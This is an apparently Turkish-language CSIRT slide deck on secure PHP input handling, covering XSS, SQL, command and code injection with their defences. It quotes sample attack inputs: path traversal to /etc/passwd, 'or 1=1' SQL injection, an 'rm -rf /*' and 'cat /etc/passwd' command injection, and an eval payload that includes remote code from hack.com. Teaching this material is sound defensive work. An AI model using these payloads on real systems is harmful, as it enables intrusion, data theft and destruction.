Arş. Gör. Oğuzhan YALÇIN ULAK CSIRT İçerik Temel güvenlik problemi “kullanıcıdan gelen veriler…” Kullanıcıdan gelen veriler nasıl gelir ve bu verilere nasıl erişilir? ○ Erişim.
Download
Report
Transcript Arş. Gör. Oğuzhan YALÇIN ULAK CSIRT İçerik Temel güvenlik problemi “kullanıcıdan gelen veriler…” Kullanıcıdan gelen veriler nasıl gelir ve bu verilere nasıl erişilir? ○ Erişim.
Arş. Gör. Oğuzhan YALÇIN
ULAK CSIRT
İçerik
Temel güvenlik problemi “kullanıcıdan gelen
veriler…”
Kullanıcıdan gelen veriler nasıl gelir ve bu verilere
nasıl erişilir?
○ Erişim problemleri
Verilerin kontrol edilmesi
○ Rakamsal değerlerin kontrolü
○ URL’lerin kontrolü
○ IP – Email kontrolü
○ HTML tipli verilerin kontrolü
○ Dosya yollarının kontrolü
İçerik
Temel saldırılar ve engelleme yolları
○ Yanıt Parçalama
○ XSS
○ SQL enjeksiyonu
○ Komut Enjeksiyonu
○ Kod Enjeksiyonu
Ek Bilgi ve Öneriler
○ Hata Raporlama
○ Veritabanı güvenliği
Soru ve Sorunlar….
Verilere erişim
Kullanıcıdan gelen veriye erişebilmek için
kullanılan evrensel değişkenler…
$_POST
$_GET
$_COOKIE
$_FILE
$_SERVER
$_ENV
$_REQUEST
Erişim Problemleri (Register Globals)
Sunucu tarafına gelen herhangi tipteki
(g/p/c…) parametre değişken olarak
kayıt edilir.
x.php?a=1
$a=1
Tanımlanmamış (un-initalized)
değişkenler sorun oluşturabilir. Nasıl mı?
Erişim Problemleri (Register Globals)
//Script.php
if(authenticated_user())
$authorized=1;
if($authorized)
include(‘onemliveri.php’);
Script.php?authorized=1 ????
Korunma yolları
Kullanılması gerekmiyorsa:
Sunucuda bulunan php.ini dosyası
içerisinden kapatmak
Kullanılması gerekliyse:
Hata raporlamalarının kısıtlanması
Tip duyarlı karşılaştırma
if ($authorized===TRUE)
{…}
Değerlerin kontrolü
Kullanıcı tarafından gelen değeri taşıyan
değişkenlerde bulunma olanağı
vereceğimiz tipleri belirlemeliyiz.
Script ya da tag özellikleri ile verdiğimiz
değerlere güvenerek hareket etmemeli
bunları her durumda kontrol etmeliyiz.
Rakamsal Değerler
Bu tür verilerin kontrolü genelde basittir.
Tip dönüşümü
$gelen=(int)$_GET[‘id’];
$gelen=(float)$_GET[‘id’];
filter_var ile kontrol
$gelen=filter_var($_GET[‘id’],FILTER_VALIDATE_INT);
$gelen=filter_var($_GET[‘id’],FILTER_VALIDATE_FLOAT);
Metinsel Değerler
Ctype ile metin kontrolü
if (!ctype_alnum($_GET['login']))
echo “Sadece A-Za-z0-9 olabilir.";
if (!ctype_alpha($_GET[‘login']))
echo “Sadece A-Za-z olabilir.";
Metinsel Değerler
Türkçe doğrulama (ereg* - preg*)
if ( eregi("^[a-zç-şŞÖĞÇİÜı0-9/_ \.]*$“,
$_GET['login']))
echo “Sadece belirli karakterler olabilir.";
Metinsel Değerler
Filter_var ile metin kontrolü
filter_var($var,FILTER_VALIDATE_URL);
filter_var($var,FILTER_VALIDATE_IP);
filter_var($var,FILTER_VALIDATE_EMAIL);
filter_var($var,FILTER_VALIDATE_REGEXP);
Dosya yolları
Kullanıcı tarafından gönderilen dosya bilgileri
incelenmelidir.
// http://example.com/script.php?
path=../../etc/passwd
fopen(“/anadizin/”.$_GET[‘path’], “r”);
Dosya yolları
Önceki slayttaki gibi bir saldırıdan korunmak
için :
$_GET[‘path’] = basename($_GET[‘path’]);
fopen(“/anadizin/”.$_GET[‘path’], “r”);
Başlık Parçalama
//yonlendir.php
header(“Location:
{$_SERVER[‘HTTP_REFERER’]}”);
return;
$_SERVER[‘HTTP_REFERER’] =
“\r\n\r\nBye bye content!”;
Korunma yolu
PHP’yi en son sürümüne yükseltin. Yeni
sürümlerde bir seferde birden fazla
başlık bilgisi gönderilemez.
Eski sürümler içinse \r\n bulunup
bulunmadığı kontrol edilebilir.
XSS
XSS açıkları uygulama kullanıcıdan veri alıp,
bunları herhangi bir kodlama
ya da doğrulama işlemine tabi tutmadan
sayfaya göndermesi ile oluşur.
XSS saldırganın kurbanın tarayıcısında
kullanıcı oturumları bilgilerin
çalınmasına, web sitesinin tahrif edilmesine
veya solucan yüklenmesine
sebep olan betik çalıştırmasına izin verir .
Korunma Yolu
htmlspecilachars();
‘,”,<,>,& işaretlerini çevirir
htmlentities();
Html verisi olarak kabul edilen herşeyi çevirir.
strip_tags();
Tag olarak kabul edilen herşeyi kaldırır.
Korunma Yolu
İstenirse strip_tags fonksiyonunun bazı html
taglarını kaldırmaması sağlanabilir.
$str=strip_tags($_GET[‘veri’],’<p><b><i><u>’);
<u onmouseover="alert('JavaScript is allowed');">
<p style="background: url(http://track.com/i.gif)">
SQL Enjeksiyonu
Enjeksiyon
saldırılarına,
özellikle
SQLenjeksiyonu, web sitelerinde sıkça
rastlanmaktadır. Enjeksiyon kullanıcı
tarafından alınan verinin yorumlayıcıya
komut ya da sorgunun bir parçası olarak
gönderilmesi
durumunda
oluşur.
Saldırganın düşmanca gönderdiği veriler
yorumlayıcının istenmeyen komutları
çalıştımasına veya veriyi değiştirmesine
sebep olur.
SQL Enjeksiyonu nasıl yapılır
En sık kullanılan sql injection sorgu
örneği;
$strSql=“select * from kullanicilar where
ad=‘$ad’ and sifre=‘$sifre’”;
$ad=“‘ or 1=1--” ya da
$ad=“’ or 1=1 /*” olursa
$strSql=“select * from kullanicilar where
ad=‘’ or 1=1 /* and sifre=‘$sifre’”
Korunma Yolları
$ad=mysql_real_escape_string($_GET[‘ad’]);
$ad=mysql_escape_string($_GET[‘ad’]);
$ad=pg_escape_bytea($_GET[‘ad’]);
$ad=pg_escape_string($_GET[‘ad’]);
Korunma Yolları
Burada ne yapacağız;
//deneme.php
$id=mysql_real_escape_string($_GET[‘id’]);
mysql_query(“select * from kullanicilar where
id=$id”);
deneme.php?id=20;delete%20from%20kullanicilar
Korunma Yolları
Peki ya burada?
//deneme.php
$id=0xBF . 0x27; // ¿’
$id=mysql_real_escape_string($id); //
‘
Korunma Yolları
Görünen en iyi çözüm “prepared statements”
$DB=new PDO();
$stmt=$DB->prepare(‘insert into users
(ad,sifre) values(‘:ad’,’:sifre’)’);
$ad=“asd”;
$sifre=“qwe”;
$stmt->bindparam(“:ad”,$ad);
$stmt->bindparam(“:sifre”,$sifre);
$stmt->execute();
Komut Enjeksiyonu
$cmd =“mogrify –size {$_POST[‘x’]} x”;
$cmd .=“ {$_POST[‘y’]}”;
$cmd .= $_FILES[‘image’][‘tmp_name’];
$cmd .= “public_html/“;
$cmd .=$_FILES[‘image’][‘name’];
shell_exec($cmd);
Komut Enjeksiyonu
$_POST[‘x’]=“rm –rf /*”;
$_POST[‘y’]=‘`cat /etc/passwd
public_html/p.html; echo 65`’;
Korunma Yolları
$_POST[‘x’]=“rm –rf /*”;
$_POST[‘y’]=‘`cat /etc/passwd
public_html/p.html; echo 65`’;
escapeshellarg();
escapeshellcmd();
Kod Enjeksiyonu
Sebep oluşturabilecek noktalar:
Include ve require kullanılan yerler.
Eval kullanılan yerler.
include(“templates/”.$tmpname;
//$tmpname=../../../../etc/passwd
eval(“$value=array(doQuery({$id}));”);
//$id=));file_put_contents(“exec.php”,”<?php
include(‘http://hack.com/x.txt’);?>”)
Diğer Öneriler
Hata bildirimi
Veritabanı güvenliği
Hata Bildirimi
Hata
bildirimini
methodlar:
kapatmak
için
php.ini içinden display_errors=0 yapmak,
Kod
içinde ini_set(“display_errors”,false)
yapmak,
Kod içinde error_reporting(0); yazmak
Hatalar geliştiriciler için önemlidir. Bu
sebeple bir dosyada loglanması uygun
olabilir.
Veritabanı güvenliği
Her vhost için verilen db şifrelerini
vhost’ların sahibine teslim etmek ve
kişinin bir dosya içerisinde tanımlayarak
kullanmasını sağlamaktansa şifreyi sadece
o site içinde kullanılabilecek ve erişimi
kısıtlamayacak şekilde ayarlamalıyız.
Veritabanı güvenliği
/vhmysql/deneme/mysql.cnf
mysql.default_host=localhost;
mysql.default_user=site;
mysql.default_password=gizli;
//httpd.conf
<VirtualHost deneme.gazi.edu.tr>
Include /vhmysql/deneme/mysql.cnf
</VirtualHost>
CSIRT yapılan çalışmalar
Oğuzhan YALÇIN
[email protected]
http://viki.csirt.ulakbim.gov.tr
Kaynaklar;
http://ilia.ws/files/phptek2007_security.pdf
http://ilia.ws/files/phptek2007_secpitfalls.pdf
http://www.amazon.com/php-architects-GuidePHPSecurity/dp/0973862106/ref=sr_1_1?ie=UTF8&
s=books&qid=1196330670&sr=8-1